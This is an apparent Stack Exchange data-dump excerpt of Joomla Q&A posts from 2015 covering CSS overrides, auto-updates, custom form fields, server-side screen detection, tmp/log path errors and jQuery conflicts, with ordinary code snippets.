  <row Id="14217" PostTypeId="2" ParentId="14216" CreationDate="2015-11-07T11:33:58.870" Score="1" Body="&lt;p&gt;I use the same for both in order not to repeat the same code twice,&#xA;if of course the helper class does not do something that a root should only do  (and this is a way I go with helper classes).&lt;/p&gt;&#xA;" OwnerUserId="3595" LastActivityDate="2015-11-07T11:33:58.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14219" PostTypeId="2" ParentId="3877" CreationDate="2015-11-07T14:22:55.977" Score="5" Body="&lt;h1&gt;Helix Framework (&lt;strong&gt;&lt;a href=&quot;http://www.joomshaper.com&quot; rel=&quot;noreferrer&quot;&gt;JoomShaper&lt;/a&gt;&lt;/strong&gt;)&lt;/h1&gt;&#xA;&lt;p&gt;Another Joomla template framework, that facilitates the customization workflow.&lt;/p&gt;&#xA;&lt;p&gt;Helix Framework templates provide as well an easy way to add your custom styles with 2 convenient methods.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;In the template control panel in backend, there is a Custom CSS field. Here you can type your css, which will be added as a style element in the head section of your pages and as such, it will also take precedence over other external css files.&#xA;Of course this option is not the ideal, if you are planning to write a bunch of lines of css, therefore there is a second method.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;As many other template frameworks, &lt;strong&gt;Helix&lt;/strong&gt; also provides the ability to create your own custom.css file. Simply create it, and place it inside the css folder of the template. The template will parse it and will include it in the head section of your pages.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2015-11-07T14:22:55.977" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14220" PostTypeId="2" ParentId="372" CreationDate="2015-11-07T14:44:47.260" Score="0" Body="&lt;p&gt;I too faced the same issue of hanging of the installation of joomla 3.4.5 on my windows machine.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;OS: Win 8.1 x64&#xA;XAMPP v3.2.1&#xA;Joomla: 3.4.5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried to perform the same 5-6 times. Then, after googling a lot came to conclusion that it can be resolved just my modifying 2 parameters in the php.ini config file usually located inside the&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;XAMPP_INSTALL_DIR&amp;gt;/php/php.ini&#xA;&#xA;memory_limit = 512M&#xA;max_execution_time = 200&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It worked. So, there is no need to modify the InnoDB engine to MyIsam. Base installation works well. Just the issue with our default settings of the php configuration.&lt;/p&gt;&#xA;" OwnerUserId="7225" LastActivityDate="2015-11-07T14:44:47.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14221" PostTypeId="2" ParentId="13939" CreationDate="2015-11-07T16:25:24.910" Score="1" Body="&lt;p&gt;Lodder's answer is great and presents the available possibilities in Joomla for extension's css overrides. But as he mentioned in his question, not all extensions are supporting this method for css overrides. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another convenient way to apply your own styles for extensions is to put all your custom styles inside a custom.css override file in your template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usually most commercial templates provide an easy way to add your own css overrides. A very common practice is to create a custom.css file inside the css folder of the template. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This Q/A here: &lt;strong&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/3877/how-do-i-override-the-css-styles-in-my-template&quot;&gt;How do I override the CSS styles in my template?&lt;/a&gt;&lt;/strong&gt; demonstrates the way on how to do this and has references for most popular template frameworks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are building your own custom template, then you can simply add your extra css in your template's css file, or link an extra css file for your extensions overrides.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2015-11-07T17:35:12.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14222" PostTypeId="1" CreationDate="2015-11-07T19:04:48.200" Score="0" ViewCount="84" Body="&lt;p&gt;When I use my back end url to login to joomla for editing, it will not load--how can I login?&lt;/p&gt;&#xA;" OwnerUserId="7227" LastActivityDate="2015-11-10T08:16:06.483" Title="Back end login inaccessible" Tags="|login|url|" AnswerCount="1" CommentCount="3" ClosedDate="2015-11-15T12:36:18.413" ContentLicense="CC BY-SA 3.0" />
  <row Id="14223" PostTypeId="1" CreationDate="2015-11-07T22:17:22.140" Score="4" ViewCount="1194" Body="&lt;p&gt;I'd like that my site, which uses joomla 3.4.5, automaticly be updated by itself.&#xA;Wordpress has this with the option &lt;code&gt;define( 'WP_AUTO_UPDATE_CORE', 'true' );&lt;/code&gt; in the file wp-config.php.&#xA;If it is possible, how can i do it?&#xA;I'm not a webdevelopper but i can manage to make configurations.&#xA;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="7228" LastActivityDate="2024-02-29T09:21:40.503" Title="Does joomla updates by itself?" Tags="|update|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14224" PostTypeId="2" ParentId="14223" CreationDate="2015-11-08T02:01:38.380" Score="1" Body="&lt;p&gt;There is no auto-update in Joomla. And actually autoupdate can be a &lt;a href=&quot;https://brian.teeman.net/joomla/835-automatic-updates-for-joomla-are-a-bad-idea&quot; rel=&quot;nofollow&quot;&gt;bad idea.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2295" LastActivityDate="2015-11-08T02:01:38.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14226" PostTypeId="2" ParentId="14223" CreationDate="2015-11-08T08:37:19.573" Score="1" Body="&lt;p&gt;Although there is some discussion in Joomla for this feature for some time now, currently there is no such feature available. I can't say if it's a good or bad idea, as this can be a long discussion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a back-end notification system though, for Joomla core and any compatible extensions that use the Joomla updater.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think that if you install Akeeba CMS update, it might have a feature to send you also email notifications.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally &lt;a href=&quot;https://watchful.li&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Watchful.li&lt;/strong&gt;&lt;/a&gt; is a 3rd party Service, that can help with the monitoring, administration and updates of your Joomla sites, from 1 single point.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2015-11-08T08:37:19.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14229" PostTypeId="1" CreationDate="2015-11-08T14:15:16.293" Score="3" ViewCount="674" Body="&lt;p&gt;I need a custom field which has to select the database with some conditions.  When customer A logged in this field has to select records belong to customer A only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The custom field is as below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JFormHelper::loadFieldClass('list');&#xA;&#xA;class JFormFieldGroupList extends JFormFieldList{&#xA;  protected $type='grouplist'&#xA;&#xA;  public function getOptions($id=''){&#xA;    $options = array();&#xA;    //connect to database and get the records&#xA;    //Form the value and text&#xA;    return $options&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the XML&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;grouplist&quot;&#xA;  multiple=&quot;true&quot;&#xA;  type=&quot;grouplist&quot;          &#xA;  label=&quot;Group&quot;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the default.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo $this-&amp;gt;form-&amp;gt;renderField('grouplist',null,$default_group);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The question is I want to pass a value from default.php to the custom field so that I can put a conditional select query while fetching data from the database.&lt;/p&gt;&#xA;" OwnerUserId="2239" LastActivityDate="2018-01-14T00:04:23.643" Title="Passing Arguments for custom field" Tags="|joomla-3.x|jform|custom-field|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14230" PostTypeId="2" ParentId="14223" CreationDate="2015-11-08T23:49:01.593" Score="2" Body="&lt;p&gt;Automatic Joomla core updates will likely work better on websites with few or no third party extensions and/or on websites where third party extensions are also being regularly updated.&lt;/p&gt;&#xA;&lt;p&gt;If automating Joomla core updates, you should probably also automate backups (e.g. by installing Akeeba Backup and enabling the &amp;quot;System - Backup on update&amp;quot; plugin) in case of a bad update so you can restore if needed.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;watchful.net&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;As &lt;a href=&quot;https://joomla.stackexchange.com/users/126/ffrewin&quot;&gt;FFrewin&lt;/a&gt; points out automatic Joomla core updates are a feature of watchful.net.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Softaculous&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Automatic Joomla core updates can be enabled in some hosting control panel applications such as Softaculous.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Joomla Extensions&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;The free &lt;a href=&quot;https://extensions.joomla.org/extension/auto-update-for-joomla&quot; rel=&quot;nofollow noreferrer&quot;&gt;Auto Update for Joomla&lt;/a&gt; extension automatically keeps Joomla 3.x websites up to date using a cron job.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Akeeba Panopticon&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;This was not available when the question was first asked but Akeeba Panopticon can automate Joomla Core updates.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2024-02-23T23:28:41.013" LastActivityDate="2024-02-23T23:28:41.013" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="14232" PostTypeId="2" ParentId="14214" CreationDate="2015-11-09T08:13:38.550" Score="0" Body="&lt;p&gt;As written in comments it was a problem of incorrect input variable names. When developing forms it's always a good idea to check that variables and values are correctly retrieved on server side.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I was able to solve this by examining the source in Chrome and&#xA;  discovering that the ids selected via checkbox were in an array called&#xA;  cid[], not id[]. The designation for this array is not even found in&#xA;  this particular component, which is odd. You are right in that it was&#xA;  not related to the query but to the input.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Try replacing &lt;code&gt;$db-&amp;gt;execute();&lt;/code&gt; with &lt;code&gt;$db-&amp;gt;query();&lt;/code&gt; if your using joomla 2.5.x, the execute method had been introduced in joomla 3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem could be also related to how you're loading the model in the &lt;strong&gt;approveAll&lt;/strong&gt; function, try to replace &lt;code&gt;$model = $this-&amp;gt;getModel();&lt;/code&gt; adding the related model name that contains the other functions: &lt;code&gt;$model = $this-&amp;gt;getModel('ModelName');&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="3585" LastEditorUserId="3585" LastEditDate="2016-04-11T06:46:30.547" LastActivityDate="2016-04-11T06:46:30.547" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="14233" PostTypeId="1" AcceptedAnswerId="14252" CreationDate="2015-11-09T10:15:27.957" Score="1" ViewCount="100" Body="&lt;p&gt;I'm building a custom component that I would like to have an e-shop area, with some products. I don't think it's a good idea to create an e-shop mechanic from scratch because I worry about security issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm thinking of installing Virtuemart or another e-shop and try to insert it inside the component, although I don't know if it is really possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone tried something like that before? And if it is possible, what e-shop do you recommend?&lt;/p&gt;&#xA;" OwnerUserId="2225" LastEditorUserId="1629" LastEditDate="2015-11-11T15:01:39.000" LastActivityDate="2015-11-11T15:01:39.000" Title="Can i add virtuemart's or another eshop's mechanic inside a custom component?" Tags="|joomla-3.x|recommended-practices|e-commerce|" AnswerCount="1" CommentCount="3" ClosedDate="2015-11-13T06:20:03.980" ContentLicense="CC BY-SA 3.0" />
  <row Id="14234" PostTypeId="1" CreationDate="2015-11-09T11:04:39.270" Score="1" ViewCount="366" Body="&lt;p&gt;I'm building a hybrid Joomla / Moodle system using &lt;a href=&quot;http://www.joomdle.com/&quot; rel=&quot;nofollow&quot;&gt;Joomdle&lt;/a&gt; to integrate the two platforms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The system will be used by staff in a large organisation. In Joomla, users will be divided into groups representing the regional team structure. Each team will have one supervisor or team leader who will have access to create group-specific content in Joomla for his team.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far, so easy. Now the difficult part is getting that structure to map over to Moodle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There will be a bunch of courses in the Moodle system, which any logged in user will be able to take. But the supervisor needs to have access to view the course history and scores for his team.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Moodle has a parent-child structure that would seem to fit the bill, and Joomdle does seem to have some integration with it but I can't work out how to link it with the Joomla group structure I have in mind.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone give me some guidance here? How can I get this set up? Or is there another way to achieve the same goals?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks.&lt;/p&gt;&#xA;" OwnerUserId="5618" LastEditorUserId="126" LastEditDate="2015-11-10T09:01:58.993" LastActivityDate="2015-11-10T09:01:58.993" Title="Joomla - Moodle Integration - User relationships in Joomdle" Tags="|user|groups|integration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14236" PostTypeId="1" AcceptedAnswerId="14237" CreationDate="2015-11-09T19:13:21.283" Score="2" ViewCount="26615" Body="&lt;p&gt;I have a module that outputs 1 item by default, in its help.php file, there is something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$items = 1;&#xA;$db-&amp;gt;setQuery($query, 0, $items)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now I want to detect if users' screen width is less than a certain value, if yes, then get only 1 item, else get 4 items. What is the best practice to do it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can just set $items to 4 and use javascript to eliminate the other 3 items, but this is not a perfect solution because excessive data will be downloaded. My questions are:&#xA;1) can PHP alone detect client's screen width?&#xA;2) If no and I have to use javascript/ajax, I am thinking add &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;    var w = screen.width;&#xA;    href = location.href;&#xA;    if (location.search){&#xA;       href = href + '&amp;amp;screenWidth=' + w;&#xA;    } else&#xA;    href = href + '?screenWidth=' + w;&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to every page and use &lt;code&gt;$_GET['screenWidth]&lt;/code&gt; to get the screen width value in the helper.php file, is this a good practice? Is this gonna mess up with output buffer(if there is any)?&lt;/p&gt;&#xA;" OwnerUserId="5680" LastActivityDate="2015-11-11T09:41:47.423" Title="What is the best practice to detect screen width on server-side?" Tags="|php|browser-detection|mobile-detection|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14237" PostTypeId="2" ParentId="14236" CreationDate="2015-11-09T20:13:54.210" Score="4" Body="&lt;p&gt;PHP can't detect screen size, since it runs on the server. I wouldn't also use ajax for something like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use &lt;strong&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/646/joomla-browser-detection&quot;&gt;Joomla's Browser Detection Capabilities&lt;/a&gt;&lt;/strong&gt; with the &lt;strong&gt;&lt;a href=&quot;https://api.joomla.org/cms-3/classes/JApplicationWebClient.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;JApplicationWebClient&lt;/a&gt;&lt;/strong&gt; class and adjust your php/queries for different devices, not particular for different screen sizes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sample code: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$client = JFactory::getApplication()-&amp;gt;client;&#xA;$client-&amp;gt;browser;&#xA;$client-&amp;gt;mobile...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Some thoughts about your last comment:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;And I don't understand why people tend to detect device type instead&#xA;  of screen width. In most cases(I usually do layout only) I encounter,&#xA;  I don't care what device users are using, but only the screen&#xA;  width....&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It's not that is not possible to do it with AJAX. But considering your initial concern on saving excessive data... what would be the point if after every screen resize - even if you give it a delay so the resize is a bit more established, you would have a new request to download data (even if this happens in the background and and even if you get them from the cache). You would end up at least with the same amount of data. Then why not doing it from the beginning on the client side with CSS?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another thing, is that after a screen size change (say the user switches his mobile device from portrait to landscape), reloading the data may bring different items, if there is a change in the database. The user might get confused and would have to search for the item he had previously in his screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, there could be the option to go the way and specify cases for when a new data request should occur... But why all this hassle?&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2015-11-10T10:57:45.783" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14238" PostTypeId="2" ParentId="5550" CreationDate="2015-11-09T21:27:31.823" Score="0" Body="&lt;p&gt;A new and easy to use CCK : &lt;strong&gt;JBuildozer&lt;/strong&gt; : &lt;a href=&quot;http://www.jbuildozer.com&quot; rel=&quot;nofollow&quot;&gt;http://www.jbuildozer.com&lt;/a&gt;&#xA;You can create custom apps and modules for Joomla 3.x. You can create custom fields and much more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not free but it’s worth it ! I find it very easy.&lt;/p&gt;&#xA;" OwnerUserId="7244" LastActivityDate="2015-11-09T21:27:31.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14239" PostTypeId="2" ParentId="4673" CreationDate="2015-11-09T21:50:12.837" Score="2" Body="&lt;p&gt;The error is because your logs and tmp folder path is not correct. &#xA;You have two way to edit this path:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Go to ftp of your account and find this file and edit via cuteftp or filezila or file manager .... configuration.php and find path of tmp or log folders and replace with correct path &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Go to admin part of joomla&#xA;Global Configuration  --&gt; System ---&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Path to Log Folder&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;*/home/**yourusername**/public_html/logs*&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Global Configuration  --&gt;  server ---&gt;&lt;/strong&gt;&#xA;you can see &#xA;Path to Temp Folder and change it to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;*/home/**yourusername**/public_html/tmp*&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;after home you should replace your hosting account user name&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you using plesk or directadmin or other control panel you should contact your hosting support  regard these path address and replace it in where i mentioned &lt;/p&gt;&#xA;&#xA;&lt;p&gt;hope your issue has been solved and this help u&lt;/p&gt;&#xA;" OwnerUserId="7245" LastEditorUserId="126" LastEditDate="2015-11-09T23:45:30.263" LastActivityDate="2015-11-09T23:45:30.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14240" PostTypeId="2" ParentId="4673" CreationDate="2015-11-09T23:44:00.877" Score="2" Body="&lt;p&gt;Just a bit of all around info wrapped here...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Permissions issues usually are caused by 2 main reasons:  &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Real file/folder permissions issues on the OS&lt;/li&gt;&#xA;&lt;li&gt;Wrong directory paths for the tmp/log directories, defined in the configuration file.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The best way to see if there is actual a permissions issue is to check in the backend: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;System Information -&gt; Directory Permissions&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This will tell you which files/folders in the root of your Joomla installation are writable (green color), or not writable (red color).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;For case 1 -&lt;/strong&gt; One of the easiest ways, to deal with wrong permissions assigned on file/folders by the operating system, is to use &lt;strong&gt;&lt;a href=&quot;https://www.akeebabackup.com/products/admin-tools.html&quot; rel=&quot;nofollow&quot;&gt;Akeeba's Admin Tools&lt;/a&gt;&lt;/strong&gt;. It provide a utility to setup your desired permissions and apply to all folders/files of the Joomla installation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;For case 2 -&lt;/strong&gt; In the case you have wrong paths defined for &lt;strong&gt;tmp/log directories&lt;/strong&gt;, you should change this in the global configuration of Joomla. If you don't know what your hosting's home directory is, it's better to ask your hosting provider. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can edit these path either from the backend of Joomla in &lt;strong&gt;Glogal Configuration&lt;/strong&gt;, or via the &lt;strong&gt;file manager&lt;/strong&gt; of your hosting or connecting with &lt;strong&gt;FTP&lt;/strong&gt;, and editing the &lt;strong&gt;configuration.php&lt;/strong&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usually in &lt;strong&gt;cPanel hosting&lt;/strong&gt;, this is like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;/home/myHostingUsername/logs&quot;&#xA;&quot;/home/myHostingUsername/tmp&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So the final look for these settings in your &lt;strong&gt;configuration.php&lt;/strong&gt; file should be like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public $log_path = '/home/myHostingUsername/logs';&#xA;public $tmp_path = '/home/myHostingUsername/tmp';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;*Be aware, that this is one of the most common &quot;mistakes&quot; Joomla beginners do. They forget to change these paths in their configuration&#xA;  file, after moving their sites from another host, a subfolder or from&#xA;  their localhost, resulting these directories to be unwritable.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2015-11-09T23:53:23.920" LastActivityDate="2015-11-09T23:53:23.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14241" PostTypeId="2" ParentId="14222" CreationDate="2015-11-10T08:16:06.483" Score="2" Body="&lt;p&gt;Think of what has changed since it last worked..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did you update Joomla?&#xA;Did your host upgrade the php version on the server? This may be the case and if you go in and delete an ampersand at line 106 you might be all good.. but in case not;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit your configuration.php , set error_reporting to maximum. Refresh admin login page and see if it gives a better clue. Make sure to set it back to default when you're done testing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Frankly, if it's not due to a php version issue, I'd probably just download a fresh copy of the exact Joomla version you're using, unzip on your local machine, and ftp the full cms package up to your sites web root (overrighting existing files). This usually get's things going again.&lt;/p&gt;&#xA;" OwnerUserId="1958" LastActivityDate="2015-11-10T08:16:06.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14242" PostTypeId="1" AcceptedAnswerId="14244" CreationDate="2015-11-10T08:22:35.297" Score="2" ViewCount="1439" Body="&lt;p&gt;I' m trying to use jQuery contextMenu within a joomla 3 site.&#xA;The basic jquery code for the menu is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $(function() {&#xA;    $.contextMenu({&#xA;        selector: '.context-menu-one', &#xA;        callback: function(key, options) {&#xA;            var m = &quot;clicked: &quot; + key;&#xA;            window.console &amp;amp;&amp;amp; console.log(m) || alert(m); &#xA;        },&#xA;        items: {&#xA;            &quot;edit&quot;: {name: &quot;Edit&quot;, icon: &quot;edit&quot;},&#xA;            &quot;cut&quot;: {name: &quot;Cut&quot;, icon: &quot;cut&quot;},&#xA;           copy: {name: &quot;Copy&quot;, icon: &quot;copy&quot;},&#xA;            &quot;paste&quot;: {name: &quot;Paste&quot;, icon: &quot;paste&quot;},&#xA;            &quot;delete&quot;: {name: &quot;Delete&quot;, icon: &quot;delete&quot;},&#xA;            &quot;sep1&quot;: &quot;---------&quot;,&#xA;            &quot;quit&quot;: {name: &quot;Quit&quot;, icon: function(){&#xA;                return 'context-menu-icon context-menu-icon-quit';&#xA;            }}&#xA;        }&#xA;    });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I load jquery framework with &lt;code&gt;JHtml::_('jquery.framework');&lt;/code&gt; I replaced &lt;code&gt;$function&lt;/code&gt; with &lt;code&gt;jQuery(function(){&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How may I change $.contextMenu so that it is acceptable by Joomla? I tried many changes but I get $.contextMenu is not a function. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also tried to use &lt;code&gt;JHtml::_('jquery.framework',false);&lt;/code&gt; so that to use $ instead of (jQuery) but still not acceptable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I include jquery library from a cdn and use $ instead of (jQuery) it works fine but this way I' m getting conflicts with other extensions that use jquery.&lt;/p&gt;&#xA;" OwnerUserId="7246" LastEditorUserId="126" LastEditDate="2015-11-10T09:05:47.167" LastActivityDate="2015-11-10T10:13:17.547" Title="How to call jQuery in joomla on specific script" Tags="|jquery|javascript|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14243" PostTypeId="2" ParentId="14234" CreationDate="2015-11-10T08:41:30.337" Score="1" Body="&lt;p&gt;Not directly an answer to the integration question...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had worked with a Joomla - Moodle integration some years ago (it was on Joomla 1.5), and to be honest I can't even remember if that was with Joomldle (I think it was not). So presently I do not actually have a recent ground-knowledge for the ins/outs of their integration with Joomdle...    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But with a quick look at &lt;strong&gt;Joomdle features&lt;/strong&gt;, I found the &lt;strong&gt;&lt;a href=&quot;http://www.joomdle.com/features#centralised_profiles&quot; rel=&quot;nofollow&quot;&gt;User Profiles Synchronization feature&lt;/a&gt;&lt;/strong&gt;, which seems to be what you are looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now... Regarding the Joomla users/usergroups structure you have in mind, if these are going to be many, I would suggest to look for a different system (like user memberships/grouping) and within this to handle what content each user will be able to read/write.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Joomla you would keep a main and as simplest as it gets, usergroups hierarchy, like :       &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;|-&amp;gt;Supervisors (editors)&#xA;  |-&amp;gt; Team members (registered readers)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then in the 3rd party membership/access component, you would create any kind of groups/teams with their access to specific content. Otherwise, all these different usergroups and their ACL might become very cumbersome to manage. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Joomdle User Profiles Sync feature&lt;/strong&gt;, claims to provide out of the box compatibility with a few more 3rd party components. &lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2015-11-10T08:41:30.337" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14244" PostTypeId="2" ParentId="14242" CreationDate="2015-11-10T10:08:15.247" Score="3" Body="&lt;p&gt;If you want to use the $ - sign inside your jQuery function, you have to call it like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(function($) {&#xA;   $.contextMenu({ ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Note the $ inside of function())&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$ is just a shortcut often used for jQuery. In Joomla we have the problem that it often conflicts with other JavaScript libraries, like Mootools for example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also call it like that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(function() {&#xA;   jQuery.contextMenu({ ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you still get the error than probably the plugin is loaded before jQuery library. How do you add the plugin?&lt;/p&gt;&#xA;" OwnerUserId="154" LastEditorUserId="154" LastEditDate="2015-11-10T10:13:17.547" LastActivityDate="2015-11-10T10:13:17.547" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
